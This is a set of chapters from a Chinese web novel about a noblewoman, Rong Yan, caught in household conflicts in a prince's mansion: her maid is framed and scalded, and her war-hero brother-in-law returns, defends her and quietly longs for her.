前院,回来的还是上午出门的那行人。 尤其是徐氏,出门时还兴高采烈,怎么这会儿脸上没个笑意? 打量了一圈,没看到那个身影,容嫣将目光投向顾长颢。 吩咐人伺候徐氏用膳,顾长颢对着容嫣摇摇头。 “可是没见到兄长?”容嫣低声问。 “见到了,不过大哥军务繁忙,也没来得及跟咱们说句话,从宫里出来又匆匆去军营了,说还要整顿兵马,少得十几日才会回来。” “这样啊,”容嫣点点头,见徐氏心情不好,她上前去问,“母亲,兄长受陛下器重,所以今日未归家,咱们今日先替兄长吃个凯旋宴,待军功的圣旨到了,届时咱们再好好为兄长庆贺一番可好?” 听到容嫣这番话,徐氏原本不大高兴的心情好了几分,她也不得不在心里承认,到底是大家族出来的闺秀,待人接物总是落落大方,游刃有余。 但这也是徐氏最不舒服的地方…… 眼看着容嫣要来扶她,她避开手,只嗯了一声:“咱们先用膳吧。” 因为缺了主角,这顿饭终究是吃得兴致缺缺。 过了几日,徐氏娘家的兄嫂来了王府,说是要来庆贺顾长颛立了战功。 听说徐家的大舅母来了,容嫣心头一紧,暗自扶额。 可偏偏徐氏还有小徐氏都很吃大舅母那一套。 “我看啊,这大舅和大舅母分明是听说大哥如今有功勋在身,想让大哥替徐城表哥求情吧。”顾云筝轻哼声。 徐家有两子一女,徐氏如今成了淮王侧妃,连带着徐家两个亲哥也跟着鸡犬升天,这些年买官进爵,徐家也从原来的穷困农户变成了现在的一户大家。 乍然暴富,徐家老大家的长子徐城这些年在江城为非作歹,仗势横行霸世、抢占民女。 这不在今年九月,徐城当街糟蹋了一个女子,引起了非常恶劣的影响,当地县令是今年新上任的清官,见徐家仗势欺人,索性直接将此事告到京中,徐城也被收押到京中,而后来不知怎么,这事儿竟又传到了皇帝耳中。 这下任徐家如何走通关系都无济于事了。 这大半年来,徐家人多次来王府想要让王府出面,但是皇帝亲自提到案子,自然不可能简单放过。 “如今兄长回来,此事就由兄长决断,就不是我们需要操心的了。”容嫣不紧不慢同顾云筝在院中说话。 在王府的这三年,只要大舅母一来,这王府就甭想安生,徐氏待她也总会更苛刻,皆因这大舅母是个唯恐王府天下不乱的挑事精,只要这次大舅母不搞事情,容嫣就谢天谢地了,压根不想操心太多。 第二日,容嫣和顾云筝在院中说笑时,一个小丫鬟急匆匆过来。 “二少夫人!” “为何急匆匆的,青环呢?” 来人是容嫣身边的二等丫鬟,这几日一直陪着青环去二房那边照应,原本容嫣并不想让青环去徐如芹那边,但是徐氏看徐如芹快生了,觉得府里上下青环行事最妥帖,非要她派青环去。 起初她不愿,不过她将心比心,觉得徐如芹快要生了,身边的确没什么能顶事的丫鬟嬷嬷,且如今她管家,为了更稳妥些,她便应了下来,只叫青环凡事留个心眼。 “二少夫人,不好了,青环姐姐她,”那小丫鬟脸色很难看,着急道,“她在三夫人那边,被烫伤了!” “烫伤?” 如果是简简单单烫伤,这小丫鬟何至于如此慌张着急。 一看这样,联想到大舅母在王府,容嫣就知道是出事了,她大步往三房那边去。 看见容嫣大步流星的往三房那边去,顾云筝微微愣了一下,她到是第一次瞧见她这素来端庄守礼的二嫂还有这般失态的一面。 容嫣赶去三房时,院中一阵喧闹。 “啊!”紧接着一阵痛呼传来。 容嫣快步走进院子,看到一个小丫鬟正拿着烧得发红的铜壶,把滚烫的壶水浇在青环手上。 容嫣从小到大,从未如此动怒。 她几步上前,一把夺过丫鬟手里的铜壶,怒斥道:“你们在做什么!” “二嫂你来的正好,你的丫鬟青环手脚不干净,她偷了我的玉佩,现在正接受责罚。” 青环的手被烫成紫红色,她捂着左手伏在地上,只能堪堪发出几个音节:“小……姐,我……没有……” 青环跟容嫣自幼一起长大,现在看到她被如此对待,容嫣心疼极了。 “容氏,你管教丫鬟有失,此事也算是给你个警醒。”主位上,徐氏缓缓开口。 容嫣压下心中即将喷薄而出的怒火,看向堂上的徐氏:“敢问母亲,三弟妹口口声声说青环偷她玉佩,可有证据?” 见容嫣如此对自己说话,徐氏面露不喜。 “这玉佩就是从这小蹄子怀里搜出来的,证据确凿。”徐如芹旁边的大舅母吴氏丢出一块玉佩。 青环这会稍微缓过劲来,声音带着颤意道:“小姐,我没有,我也不知道我这衣裳怎么会掉出这块玉佩。” “这可是彩云亲手从青环衣裳里翻出来的。”三房徐如芹看向身边那个名唤彩云的丫鬟。 彩云便是方才那拿铜壶烫青环的丫鬟,徐如芹话落,她上前一步:“是,奴婢起初看到青环鬼鬼祟祟揣着怀里的东西,便心有起疑,上前一搜罗,青环怀里便掉出了这块玉佩。” 青环也机灵,随即怒声:“是你撞到我的时候玉佩掉出的,怎么就不是从你怀里掉出来的!” 刚才玉佩一掉出来,就有一堆人围住她把她押送了来,她刚才还没想明白,这会儿看到自家小姐来给自己撑腰,她冷静下来。 “证据确凿,这丫鬟竟然还反咬一口,真是嘴硬。”大舅母吴氏翻了个白眼。 容嫣上前,将玉佩拾起,看了看,她突然嗤笑一声。 周围的看她如此神情,都莫名其妙。 “我说大舅母和三弟妹,你们就算是诬陷我的丫鬟,也要找块质地好一些玉佩,就这种货色,青环根本就不稀罕,又怎么偷拿?” “你!”徐如芹气恼。 容嫣将玉佩丢回徐如芹手中,继续嗤笑道:“今年青环生辰,我送她的那块玛瑙玉坠不知道能抵多少这种玉佩,我每月给青环的月俸买这样的玉佩都能买百八十个,用的着偷么?” 容嫣说完,不再看徐如芹气恼成青一块紫一块的脸,她看向堂上:“母亲,儿媳愿为青环担保,这玉佩绝对是有人陷害,还希望母亲能准许查明白再给青环定罪也不迟。” “你这是在怨我没查清真相就教训你的丫头?”徐氏脸色不好看。 “儿媳不敢。”容嫣说完,让身后的丫鬟扶青环下去治伤。 看着容嫣这副样子,堂上的徐氏重重拍了一下桌子。 自容嫣嫁入府中,待她这个婆母很是敬重,没想到今日倒叫她看见了如此面孔。 “慢着,灏哥儿媳妇,你不会以为你空口说这么几句,就能胡搅蛮缠把这事糊弄过去吧。”吴氏突然又反应过来。 容嫣顿住脚步,她缓缓从头上拔下一根簪子,开口道:“这是南阳青玉簪,价值百金,三弟妹非说是我丫鬟偷拿了你的玉佩,我目前拿不出证明我丫鬟清白的证据,不知道暂时用这枚簪子赔礼,三弟妹可满意?” 听容嫣话头又软下来,徐如芹更加倨傲,抬着下巴示意丫鬟去接。 丫鬟走近容嫣身边,抬手正要接过容嫣递来的簪子。 可下一刻,容嫣轻轻翻手,簪子尾端朝下,重重落下。 “啊!”随着一声尖叫。 那名唤彩云的丫鬟手心被戳了对穿。 “啊!”旁边徐如芹被这突然的一幕吓的尖叫起来。 “容氏你放肆!”堂上徐氏重重拍起案板,怒声训斥。 吴氏趁机捅了捅女儿小徐氏,暗自使了个眼神。 徐如芹会意,立马大叫起来:“我的肚子,好疼啊,我的肚子好疼!” “坏了,三少夫人是不是受惊了!” 周围丫鬟乱作一团。 “姑娘……”青环 6. 将军归来(三) 《他觊觎弟妻很久了》全本免费阅读 祠堂的烛光摇晃。 堂内没有桌椅板凳,只有几个蒲团和一张放着香炉贡品的供桌。 容嫣本不想跪的,但实在是站累了,只好跪坐在蒲团上,双手趴在供桌上,以这个极不舒服的姿势迷迷糊糊睡了过去。 门口传来几声说话的声音,随后祠堂门被人轻轻打开,容嫣被这动静吵到,缓缓睁开眼看去。 烛火摇曳,惺忪迷糊的视线中出现了一个朦胧的轮廓。 如今正是寒冬腊月,跪趴在供桌上的女子身上只穿了单薄的常服,整个人冷到蜷缩着,身形更显单薄。 顾长颛抬脚走进来,缓缓走近了,视线落在女子面庞,他眸光幽深,抬手落在身上的大氅上,正要解开,女子睫毛微微颤动,睁开了那双明媚的桃花眼,顾长颛指尖的动作顿住。 容嫣起初以为是顾长颢:“你来做什么,不是说不用你来……” 话没说完,视线清晰,困意褪去,看清来人的面庞,容嫣一个激灵,跪直身子。 来人是跟顾长颢有着五六分相似的男子,但他身形更高大挺拔,五官更深邃如刀刻,肤色是浅麦色,他身上披着大氅,周身气度不凡。 “你……”是顾长颛,是她的夫兄。 男人面上依旧并没有什么特别的表情,随后在她身旁的另一个蒲团上跪下。 在容嫣的注视中,男人双手合十闭眸跪了一会儿,俯身跪拜下去叩首。 容嫣愣神间,男人又起身,从旁边拿起香火,看向她: “帮我把烛火拿来吧。”他语气平平,没什么特别的,如传闻的那般寡言稳重。 “嗯?”容嫣反应了一刻,随后意识到他应当是把自己当成了在这里侍奉的丫鬟,应声,“嗯。” 此刻困意彻底消散,容嫣抬手去拿旁边燃着的烛火,顾长颛伸手接过来去点手中的香火。 很快,香火被点燃,几缕烟气飘起,袅袅升腾。 容嫣侧眸,怔怔看着眼前男子。 与记忆里的印象完全不同了。 供桌上有两个香炉,顾长颛点完香,将手中的香火递过来。 “帮我一起吧。” “……好。” 容嫣接过顾长颛递过来的香,跟着顾长颛的动作跪在蒲团上,阖眸静默片刻。 “可以了。”耳边传来提醒。 容嫣睁开眼,跟顾长颛动作同步,将香火插进面前的香炉里。 上完香,二人静默片刻。 “跪了多久了?” “……记不太清了,约莫三个时辰?”容嫣有些发窘,以为对方把她当成了被罚跪的丫鬟。 说完这句,容嫣轻抿了唇瓣,看向身侧的男子,问道:“将军你……何时回来的?” “约莫一刻钟前。” 容嫣腿有些麻了,下意识想动一下,又觉得在顾长颛面前有些不太好意思,倒是顾长颛不拘小节,他祭拜完没有再跪着,而是换了个姿势盘腿坐着,似乎为了方便同她讲话,他身子微微向她倾侧着。 见状,容嫣也放松跪坐下来。 她犹豫了一下,虽然刚见面,就被对方知道自己正在罚跪有些丢人……但早晚得知道,她硬着头皮解释:“其实,将军……” “嗯?” “我是顾长颢的妻子,是你二弟妹来的。”不是丫鬟。 对方似乎没听到她这句话,并未回应。 容嫣悄悄侧头去看,对方似乎有些疲倦,眸子微闭。 正当她寻思着要不要在说些什么,对方睁开眸子,因他睫毛纤长,挡住了眸子中的情绪。 他语气依旧平静:“嗯,我知道,你是我二弟妹。” 听此,容嫣虽然觉得丢人,但好歹没那么尴尬,反正她向来脸皮厚。 她好奇:“兄长怎么这个时辰回来了?军营的事忙完了?” “嗯,忙完了,只是今夜有些睡不太着,便想着回来瞧一眼。” 说完,他又补充了一句:“太晚了,就没叫人,省的府上又忙乱一阵。” “是啊,母亲和夫君他们一直盼着兄长你回来呢。” “你呢?” “嗯?” “你今晚为何在这里?” 想到下午的事情,容嫣神色微暗,跪在这里不过是看在顾长颢的面子委曲求全,她试图跟顾长颢解释,但也心知就算是他知道,也会为了让徐氏高兴而叫她低头,所以她也懒得再继续解释了。 但不知道为何,此刻她心底却有些委屈:“我,不是我的错。” 虽是委屈,但她也知道顾长颛亦是徐氏亲生的儿子,想来他对徐氏的孝顺不比顾长颢少吧,顾长颢身为她的夫君不会帮她,顾长颛只是她的夫兄,他更不必说。 她又有些后悔说刚才那句了。 “我晓得。”声音不轻不重。 容嫣抬头看向顾长颛,视线撞进他幽深的眸子里,他神情认真且坦诚,继续道:“母亲的性子,你入府三载,应当也知晓了一些,年轻时她从未主持过家中大事,想法和见识难免受限,先前她王府谨小慎微,如今王府没了祖母和母妃,父王也离家,母亲日子较之前松快许多,行事待人也不同于往前……你可明白我的意思?” 容嫣轻点头,目光微垂,猜到他应当也要劝她多体谅理解徐氏了。 可顾长颛的下一句,却说:“在一些事情的决算上,母亲看的不如你明白,若是她做错了事,你不同她计较是好事,但也不要过分委屈了自己。” 烛光盈盈,容嫣突然觉得这烛光有些刺眼,她眼前的视线有些模糊。 看到身前的姑娘轻垂下眸子,顾长颛动了下唇,却也没再继续说些什么,只缓声道:“夜深了,先回去吧,有事明日再说。” 顾长颛回来的消息在一大清早传遍王府,徐氏原本要吩咐人尽快准备膳食,但顾长颛早早叫厨房备了份面,他很快吃完便说军营还有事,今日晚些再回来,不必让全府上下大清早就忙活。 出门前,顾长颛还留下了一句:“昨晚是我让容嫣回去的,昨日之事母亲先搁一搁,待我晚些回来再追究。” 身为长子,自幼养在王妃膝下,由王爷亲自教导,如今王爷出家,王妃亡故,顾长颛身为世子,是淮王府现在的掌权人,他说的话无人不听。 便是徐氏,虽然顾长颛是她亲生的儿子,但不知道从何时起,她每次面对这个儿子,总有种疏离和敬畏之感。 听他这么吩咐,徐氏面上应下来,心中却风云翻涌。 贴身伺候的张嬷嬷也不由得担心:“先前世子便对那容氏有……如今他回来了。” “莫失言。”徐氏提醒道。 “是,奴婢失言了。” “去叫郡主来。”徐氏虽然面上不显,但刘嬷嬷的话让她心中思绪万千,赶紧差人去叫顾云筝来,三年前的偏差,只有她、张嬷嬷和顾云筝知道的最多。 因着昨晚刚闹了这一出,今晨容嫣没有去徐氏那边请安,徐氏也没派人来叫她,顾长颢见容嫣今日很不一样,心知她心里委屈,也没再央着她去徐氏那里晨昏定省。 “你昨晚在祠堂撞见大哥了?” 容嫣睡到日上三竿,她昨晚做了个梦,梦到了很久之前在伽蓝寺的事。 有随火光飘曳的经文和布帛,被冤枉的小和尚、随风而起的祈福带、落雪飞花的梨林…… 容嫣不是个记仇的人,也不喜欢冷处理,虽然昨日顾长颢叫她不舒坦,但今日顾长颢主动同她示好,她不会驳他脸面,应了声:“昨晚后半夜兄长回来的,他叫我回来了。” 顾长颢点点头,见容嫣虽然还不大高兴,但还搭理他,他松了口气,变戏法似得从袖中摸出一个纸包:“今早我起了个大早,特意去买了你最爱吃的松糕。” 容嫣接过来,看着还热乎的松糕,她微微出神。 她先前一直都觉得顾长颢待她很好,现在也是,他会为了哄她,专门从城西跑到城东,就为给她买最爱吃的松糕。 容嫣又想起三年前的那个冬天,府中突生变故,祖母生了一场大病,也是顾长颢亲自带人去四处寻医问药,找了一个月寻回名医。 除了在徐氏,其他事上,他总会为了让她高兴而不惜一切。 “昨日的事就过去了,都是我不好,原谅我好不好?”顾长颢凑头过来。 容嫣无奈的推开他的头,没好气道:“别离我太近。” “就离你近……”一番哄闹,似乎又跟先前一般,事情 7. 将军归来(四) 《他觊觎弟妻很久了》全本免费阅读 容嫣从未像这几日这般,觉得王府竟如此好打理,这些日子整个王府上下井井条条,没有人生事,也没有敢造次,以往她每天盘算王府进项和花销都要忙到很晚,但这几日各大管事递上来的账册是条理整洁的,让人一目了然,她看账效率高了许多,连着好几日都睡了好觉。 其实容嫣心中有数,心知这肯定是因为顾长颛回来的缘故。 虽然顾长颛自回来后大部分时间忙于军务不在王府,但所有人都对他唯命是从。 容嫣不禁想到,似乎就连婆母对这个亲儿子也有种下意识的敬畏。 想到那天顾长颛帮她说话,处事不偏不倚,容嫣也对他多了些敬重之心。 这日,顾长颛从军营回来,全府聚在徐氏的芙荷院用晚膳。 许是顾长颛在的缘故,徐氏今日在用膳前的话少了许多。 “长颛,我特意准备了你最爱喝的鲫鱼汤。”徐氏说着,拿起勺子亲自盛了一碗鱼汤端给顾长颛。 顾长颛看了眼面前的鲫鱼汤,又收回视线:“嗯,多谢母亲。” “大哥和二哥不愧是双生子,二哥最爱喝鲫鱼汤,大哥口味竟也一样。”老四顾子盛见自己没有人给盛汤的待遇,自己拿起勺子盛了一碗。 “是啊,你大哥和二哥除却容貌和性子没有完全相似,喜好却完全一样。” 听徐氏这么说,容嫣抬头,看了一眼徐氏右手边的顾长颛,又缓缓收回视线,的确,比起其他双生子有一模一样的容貌,兄长和夫君虽然是双生子,容貌却只有五六分相似,尤其是兄长长久在边关征战,整个人气场强大,很容易就能将两人分辨出来。 “好了,用膳吧。”徐氏说完,视线扫过容嫣。 容嫣如往日般起身,接过丫鬟手中的公筷,站去徐氏的身旁,替徐氏夹她爱吃的菜。 她站在徐氏右侧,正要抬手去伸筷子夹菜,腕子被人隔着衣服虚虚扶住。 她往右侧看去,正是在她旁边的顾长颛拦住了她。 顾长颛收回手,面色微沉:“二弟妹这是做什么?” “我……” “我叫容氏替我布菜,可有不妥?”徐氏出声。 “二嫂孝顺,每日都替母亲布菜呢。”三房小徐氏开口,声调带了些阴阳怪气的味。 “王府向来没这个规矩,祖母和母妃在世时,祖母从未要求母妃帮她布菜,”顾长颛话里的母妃便是九年前去世的淮王妃,说着,他又看向徐氏,“便是当年,母妃也从未要求过母亲您这般伺候她。” 这话一落,徐氏脸色微变。 “二弟妹坐回去用膳罢。”顾长颛向容嫣示意。 “若是母亲有需要,儿子的位置最是方便,真要孝顺母亲,也该是做儿子的来当这个表率。”说着,他从容嫣手中拿过筷箸,预备起身。 “好了,容氏你坐下吧,”徐氏面色有些不自然,对着顾长颛道,“你素日军营忙碌,好不容易回来一次,你莫要忙活了,叫丫鬟来就好。” 顾长颛点头,顺手将筷箸递给过来接筷子的丫鬟。 因为这个小插曲,在场的人神色各异。 容嫣刚落座,身侧的顾长颢抬手给她盛了一碗热汤,将她爱吃的菜夹给她。 他同她说悄悄话:“幸好大哥回来了,母亲最听大哥的话,你日后不用再帮母亲布菜了。” 容嫣接过顾长颢递过来的酥茄,入嘴还被烫了一下,她轻轻吸吮着舌尖,下意识又看了眼顾长颛的位置,的确托兄长的福。 不曾想兄长连这种小事都能顾及到,难怪他治家有方,不在王府这么多年,府中管事下人都对他为命是从。 想着,容嫣心中对顾长颛的感激和敬重又多了几分。 “就是说,平日里大嫂站着,我们吃,怪别扭的。”顾子盛最是没心没肺。 旁边顾云筝瞪他一眼。 三房顾子昌向来木讷不吭声,但是他的妻子小徐氏与他截然相反,她见状立马开口:“给婆母布菜是做儿媳的本分,大哥不必在这事上帮二嫂说话吧。” 前几日顾长颛帮容嫣说话这事儿一直梗在小徐氏心中,她就不明白了,明明她更大哥更亲近些,出嫁前她是他外祖家的表妹,现在是他的三弟妹,更是亲上加亲,大哥凭什么偏偏向着一个外人!不公平! “三嫂你进府后,从未见你伺候母亲,所有的事项都是二嫂做的啊。”顾云筝放下筷子,她说这话时下意识看了眼顾长颛的脸色。 “我……我这不是一进门就有了身子,二嫂入府三年都没个动静,她自然要多担待些。” “够了。”顾长颛将筷子放下,语气多了些不耐。 见顾长颛微愠,在场的人都不敢再出声。 “大哥。”顾长颢抬头看向顾长颛。 容嫣很感激顾长颛帮她说话,但看到顾长颛因此事动怒,她也觉得有些奇怪。 顾长颛随后又缓缓开口:“前几日在宫中,我碰到了容太傅。” “他曾向我问起二弟妹,还托我在府中多照应二弟妹,太傅是陛下最看重信任之人,二弟妹若在王府受了委屈,想来太傅也会无心于陛下所托政务,到时候叫陛下不高兴,便是我们王府的罪责了。” 这话便是提醒,容嫣是容太傅的女儿,如今容太傅备受陛下宠信,他顾长颛是看在容太傅的面子上多关照容嫣。 原来是如此,容嫣心中动容:“多谢兄长,我在府中并未受什么委屈。” 其实不用顾长颛提醒,除却徐氏不太待见她,小徐氏话里总是带着酸劲,其他人都对她算是尊重,并没其他人为难她。 当然,现在又多了一个大舅母。 听到容嫣的声音,顾长颛又将目光落到她这处,缓声:“我虽许久不在府中,但府中之事,我心中有数。” “是啊,如今有大哥回来主持家事,王府也算是有了主心骨。”顾长颢出声。 顾云筝也顺着顾长颢的话转移话题,谈论起王府这些年发生的大大小小的事:“如今大哥回来,还打了胜仗,大哥真厉害。” 容嫣并未再继续接话,听着身旁的声音,她埋头吃饭,不知是有人帮她说话心里畅快还是吃到热饭的缘故,总之,这场晚膳是容嫣入王府以来吃得最饱的一次。 晚膳结束,众人散去。 回到青梧院,容嫣捧着一本书窝在美人榻上看得正起兴,偶尔高兴了,她轻轻哼几句调子。 顾长颢从未见容嫣有如此惬意高兴的时候,她本就生得貌美,此刻专注又灵动,不禁让他看呆了。 可是…… 想起今夜的晚膳,顾长颢下意识收拢起袖中的手心。 “阿嫣。” “嗯?”容嫣抬起头。 顾长颢终究只是笑了笑,他走近容嫣,抬手在她脸颊上吻了一下:“没什么。” 二人相视一笑,容嫣继续去看手中的典籍。 “我竟不知,你原来还喜欢这些典籍,父王书房中有很多藏书,你若是喜欢,可以时常去看。” 听顾长颢如此说,容嫣心生喜悦,她将头轻轻靠在顾长颢肩头:“好。” “阿嫣,我心悦你。” 顾长颢轻吻着她的头发,每次他情动之时,总是会说一些表明心迹的话。 “阿嫣,你呢,你心中对我也是不是这样的?” 听到这话,容嫣神情微顿,顾长颢之前从未问过她这句话,她也从未对人如此表露过心迹。 思绪渐渐拉远,当初她嫁给顾长颢时,有五分是无奈之选,却也有五分是真心实意。 她还记得他上门提亲前夕,说想同她一生一世一双人,还有她嫁予顾长颢这三年以来,除却徐氏这一点,其他方面他事事都顺着她的心意,只要是她喜欢的,他都会想办法替她寻来。 这正是因为如此,她甘愿忍受徐氏的冷言冷语和王府忙不完的中馈之事。 “自然是一样的。”容嫣靠在他怀中,轻声回应。 得到这句回应,顾长颢觉得这几日心中绷的那根弦松了许多。 入夜,容嫣从梦中醒来,看着身侧睡颜安静的顾长颢,她缓缓坐起身。 她做梦了……梦里是她嫁人前在容府的场景—— 是她十二岁生辰那日,有人问起她日后想嫁给什么样的人,那日她许是喝醉了酒,又或者年少口无遮拦,说日后要嫁给一个英勇神武的将军…… 这年也是容嫣过得最轻快的一个年,以往每年她都费尽心思该给哪家送新年贺礼,但这次顾长颛很早就拟了一个贺礼单子。 这日,容嫣正好在府中遇到顾长颛,她赶忙将人喊住:“兄长。” 顾长颛身形轻顿,回头看过来。 “二弟妹可是有事?” 容嫣点点头:“如今兄长回来了,不知今年是否去寺中拜见父王?”她进门的这三年,王府的人都不曾去伽蓝寺见淮王。 “父王喜静,不必去寺中打扰他。”顾长颛解释。 容嫣点点头,随后她笑着对顾长颛道谢:“还没 8. 将军归来(五) 《他觊觎弟妻很久了》全本免费阅读 从芙荷院看望完徐氏回来,容嫣又惹了一肚子气回来,她就说徐氏没什么大毛病,还精神的很呢。 刚才她一去,徐氏就摆着脸子阴阳怪气,又突然拿进门没身孕的事刺她,甚至还又动了给顾长颢纳妾的念头。 在纳妾一事上,容嫣向来态度强硬,直言若徐氏要给顾长颢纳妾,便先休了她这个儿媳妇,见容嫣这般,徐氏也怕真闹大了得罪了容太傅,暂时放弃了给顾长颢纳妾的想法。 但最后还是以容嫣让步为结果,徐氏要她接下来一个月去伽蓝寺的娘娘庙纳福祈愿,以求让她早日有孕。虽不满徐氏突然叫她去拜佛求子,但想到自己也许久没去伽蓝寺,正好借着这个机会有一个月不在府面对徐氏,容嫣也乐得高兴。 “阿嫣,等等我,你走这么快做什么!” 从芙荷院出来,见容嫣气呼呼往前走,顾长颢差点没追上。 “你还说,方才母亲要你纳妾,你为何没回绝?”容嫣停下脚步,抬头质问顾长颢。 “方才,我分明是回绝了母亲。”顾长颢皱眉。 可容嫣并不满意,她抬头望着顾长颢,眼圈慢慢红了。 她想起刚才徐氏问顾长颢时,顾长颢的回答:“此事急不得,若是日后碰的合心意的再说罢,儿子现在没这个想法。” 容嫣又想到刚嫁给顾长颢的第一年,徐氏想把少时好友的女儿给顾长颢做妾,当时顾长颢一口回绝:“我同阿嫣之间容不得第三个人,我不会纳妾,此生只会有阿嫣。” 同样是拒绝,可她就是隐隐觉得他现在的态度分明跟之前不一样了。 见容嫣眼眶红了,顾长颢心口一颤,他将人拥入怀中:“母亲还在病中,我若是一口气回绝她,她怕是要病上加重了。” 他虽这般解释,但容嫣心里还是悬浮着,像是触不到底,她靠在顾长颢怀里,出声:“若是你哪天真的想纳妾了,一定要提前告诉我。” 顾长颢一顿,只以为她松口了,却听到她下一句: “我不能接受我们之间会有第三个人,如果你真的想要其他人,一定要提前告诉我,我们和离便是。” 顾长颢身形微僵,将人愈发抱紧:“不许说气话。” “谁跟你说气话。”容嫣哼声。 “我发誓,我绝不纳妾。”顾长颢摆正容嫣身子,低头认真看着她,他目光是那样坚定,容嫣又一次心软。 不远处,刚从军营回来直奔芙荷院的顾长颛恰好看到在灯笼下相拥的两人,急匆匆的脚步顿在原地…… “世子。”方牧看向急匆匆回来的顾长颛,心中叹气,世子数日不曾回府,今日是听闻侧妃要责罚二少夫人所以才回来吧。 “二公子婉拒了侧妃,并没有当真要给二公子纳妾,侧妃不过是因为二公子和二少夫人成婚三载却迟迟没有子嗣而生气,您不用太担心。” 顾长颛看向方牧。 方牧不敢直视顾长颛的视线,他低头:“当年的事,老奴也有责任,您不要怪老奴多嘴,如今事情已然木已成舟,世子您又何必再强求,现在侧妃与二少夫人诸多争端,皆因二少夫人没有子嗣,您若是真的为了二少夫人好,就不该……” “够了,不要再说了。”顾长颛再次看向远处灯下相拥的壁人,灯影成双,相偎诉情长…… 好一会儿,灯笼下的人影走远,顾长颛收回视线。 “母亲最后又如何了?” “二少夫人答应去伽蓝寺斋戒祈福求子一月。” 得到这个答案,顾长颛袖中的手下意识收拢,以他对她的了解,她若是不想做的事,向来没有人能逼迫得了她,可如今她却甘愿为二弟再三忍让。 “世子……” 方牧还欲劝上几句,顾长颛已然往外走去。 “不必向任何人提起我回来过。” “……是。” 三日后,容嫣收拾东西去伽蓝寺。 顾长颢身为詹事府少詹事,最近事务繁忙,每日早早需要去官衙当值,容嫣去伽蓝寺的这日,他没办法亲自送容嫣去,便特地委托顾子盛。 “母亲真是过分,正是寒冬腊月,伽蓝寺山高地冷,竟让二嫂你去受这个罪。”顾子盛愤愤不平。 容嫣见顾子盛为自己不平,心里的怨气又少了几分:“这个时节去,若是运气好,说不定能赶上伽蓝寺的盛景呢。” 这个时节,伽蓝寺的玄梨应该开了,听说这几日还有大雪 “盛景?” “二弟妹说的是伽蓝寺的玄梨林吧,这玄梨耐寒,不同于寻常的梨树,若是气候合适,正月里就能开了。”身后传来低沉好听的男子声音。 闻声,顾子盛和容嫣一起回头,看到衣着黑色大氅的高大男子走来。 “大哥。” “兄长。” “可是要去伽蓝寺?” 容嫣点点头,她不曾想到数日不在府中的顾长颛竟知晓了这事。 “恰好我今日要去寺中看望父王,我去送你,”顾长颛接过马夫递来的缰绳,“天冷,四弟留在府中罢。” “无妨,我也一同去看看热闹,明年就要参加春闱了,我也去拜拜佛。”顾子盛拒绝了顾长颛的好意。 容嫣没什么意见,道谢后就先上了马车。 顾长颛扫了一眼顾子盛:“求人不如求己,有这功夫,不如多看几本书。” 听自家大哥这话,顾子盛有些摸不着头脑,心中纳闷大哥向来不怎么管束他的学业,怎么今日这么苛刻? “那不成,我这是劳逸结合。”顾子盛素来不是个听话的主,见顾长颛没坐马车,而是骑马,顾子盛也叫人牵马来,他性子活跃,这一路,他一直絮絮叨叨跟顾长颛说着话,一会儿问东,一会儿问西。 “大哥,你说这青云关外会是什么样的景象呢?这婺州十二城,咱们已经收回了十城,就差这青云关外的最后两城了,我都不敢想象,能收复这金银两城的人得是多么厉害的大英雄。” 听着外头的交谈声,尤其是兄长说起边关和婺州的所见所闻,容嫣听得津津有味。 婺州曾是大胤的地盘,但是五六十年前婺州失守后被北狄夺走。婺州共十二所城池,近五十年来,大胤和北狄为了这块地战争不断,大胤曾多次夺回其中几城,但也多次丢城,至今不曾有人能彻底收复失地。 婺州的最后两城被人称为金城和银城,在青云关之外,地形险峻,易守难攻,尤其这两城如其名,地矿丰富,北狄人严防死守了四五十年,大胤的军队至今未曾踏过青云关去。 如今大胤国富民强,当今陛下亦是个有大抱负的君主,他曾下旨,若有人能收复婺州十二城,不论封王拜相还是奇珍异宝,任何要求他都皆尽满足,甚至在几年前的宫宴上,容嫣也曾亲耳听到陛下醉后戏言:“若有人能收复婺州十二城,这身下的龙椅换人坐坐,朕也甘愿,算是此生无憾!”足以见得陛下收回婺州十二城的决心和壮志。 自从十二年前,婺州的第一城木城被收回,再此后的这十二年间大胤再无败仗,接连收复十城。 透过半开的窗扉,容嫣看向在高头大马上端坐着的男子。 十二年前,兄长才十二岁吧,自十二岁起带奇兵拿下木城后,此后再无败绩。 顾长颛沉声:“青云关艰险,如今尚没有四成把握。” 顾子盛也知道拿下金银两城的难度,见自小崇拜的大哥都没把握,他叹息:“唉。” 听到顾子盛的叹息,容嫣笑笑,心道四弟还是小孩心性,如今兄长能收回十城,已然是大胤人人称道的战神将军了。 “对了 9. 雪落空枝(一) 《他觊觎弟妻很久了》全本免费阅读 容嫣以为自己听错了,她疑声:“你刚才说了什么?” 顾长颢坐正,面对着容嫣,他神情认真:“阿嫣,我说真的,若是咱们迟迟不能有孩子,便先抱养一个养着。” “你,你怎么会突然想到这个?”容嫣惊讶之余,眉头紧蹙。 顾长颢耐心解释道:“前些日子有个同僚,他跟妻子成婚四五载没有孩子,头几年便在外头抱养了孩子,但没想到前几日他那妻子竟怀了身孕,我听人说这种事还不少,据说是抱养孩子能够积攒子嗣福缘,我想咱们成婚这么久没能有孩子,你我身体都无碍,想来是子嗣福缘还没到。” 听顾长颢这么说,容嫣有些无奈,却也心疼的抬手抚上他的脸颊:“你一向不信鬼怪神佛,竟也信起了福缘之说。” 她明白,没有子嗣这件事不单给她,也给顾长颢带来了很多压力,但两人用尽了法子,寻遍了名医,却迟迟没有身孕,想来真的是子嗣福缘不够? 容嫣轻轻靠在顾长颢怀里:“你说的这个也未尝不是个法子,只是抱养孩子事情重大,一来要宗族和母亲那里答应,二则,抱养孩子不是那么简单的,我们也不能单单为了积攒子嗣福缘就凭白抱养个孩子入府,一旦我们要养,便要做好把他当成自己亲生孩子的准备,为他计深远。” “这是自然。” 顾长颢看着靠在自己怀里的容嫣,抬手轻轻摸摸她的头发:“阿嫣,不会有任何事情能拆散我们,你不要我纳妾,我这辈子都不会再有旁人,没有子嗣,那我们便抱养一个。” 听着顾长颢的话,容嫣胸腔里轻轻震颤,连带着被徐氏迫着来伽蓝寺的最后一丝怨气也消散了。 夜半,容嫣依依不舍地送顾长颢下山。 “雪越下越大了,估计明天山路都会被大雪封了,你下山小心些。” “知道了,外头太冷了,你回去吧,等我忙完就再来看你。” 回到禅房,容嫣靠在榻上,摸着榻上的余温,她从未像今晚一样,心中满是对顾长颢依恋。 屋外大雪簌簌下着,容嫣睡去,待她第二日醒来时,外头已经是银装素裹,雪漫山寺。 她不由得想到,昨夜夫君下山时定是路途艰难。 